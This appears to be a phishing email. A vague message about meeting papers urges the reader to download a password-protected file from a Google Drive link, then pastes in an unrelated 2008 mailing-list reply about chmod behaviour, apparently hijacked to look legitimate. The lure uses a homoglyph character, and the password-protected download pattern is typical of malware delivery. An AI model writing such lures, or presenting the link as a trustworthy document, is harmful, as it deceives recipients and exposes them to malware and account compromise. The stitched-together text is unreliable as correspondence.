Greetings to you
With this letter I send you all the necessary papers regarding our soon meeting, right as we revealed recently. Please take a look at аll important data here:
https://drive.google.com/uc?export=download&id=1EDAvQMt-TmgIQKH8GkDbz5atFUrQj3AK&confirm=t
File password: E98346
On Fri, Sep 12, 2008 at 09:51:04PM +0200, Jim Meyering wrote:
>That sounds like a good reason to retain the behavior you've come to
>value, even if it's not guaranteed or portable, but only via a new
>option. Then we can still change the default to be more efficient.
Why on earth would we want to? Some people obviously like the current
behavior, and depend on the side effects, the desired behavior is easy
to get with existing tools, and adding a new option seems like something
that shouldn't be done without a very good reason. This seems like
optimization for the sake of optimization. (And it would make chmod
inconsistent with chown and chgrp.)
Mike Stone
